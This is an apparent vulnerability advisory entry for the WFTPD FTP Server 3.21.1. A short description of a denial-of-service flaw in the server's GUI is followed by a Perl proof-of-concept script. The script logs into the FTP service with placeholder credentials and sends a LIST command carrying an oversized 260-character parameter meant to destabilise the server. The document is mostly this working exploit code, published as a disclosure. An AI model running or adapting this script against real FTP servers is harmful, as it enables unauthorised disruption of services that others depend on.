source: https://www.securityfocus.com/bid/9908/info WFTPD server front end GUI has been reported to be prone to a denial of service. The issue is reported to present itself if a user who is logged into the affected service issues an FTP request with a large parameter. This will cause the server GUI to behave in an unstable manner, potentially preventing the GUI from opening. #!/usr/bin/perl # Multiple Vulnerabilities in WFTPD FTP Server version 3.21.1 # Created by Beyond Security Ltd. - All rights reserved. use IO::Socket; $host = "192.168.1.243"; $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => "2119"); unless ($remote) { die "cannot connect to ftp daemon on $host" } print "connected\n"; while (<$remote>) { print $_; if (/220 /) { last; } } $remote->autoflush(1); my $ftp = "USER username\r\n"; print $remote $ftp; print $ftp; sleep(1); while (<$remote>) { print $_; if (/331 /) { last; } } $ftp = join("", "PASS ", "password", "\r\n"); print $remote $ftp; print $ftp; sleep(1); while (<$remote>) { print $_; if (/230 /) { last; } } $ftp = join ("", "LIST ", "A"x260, "\r\n"); # DoS ... print $remote $ftp; print $ftp; sleep(1); while (<$remote>) { print $_; if (/250 Done/) { last; } } close $remote;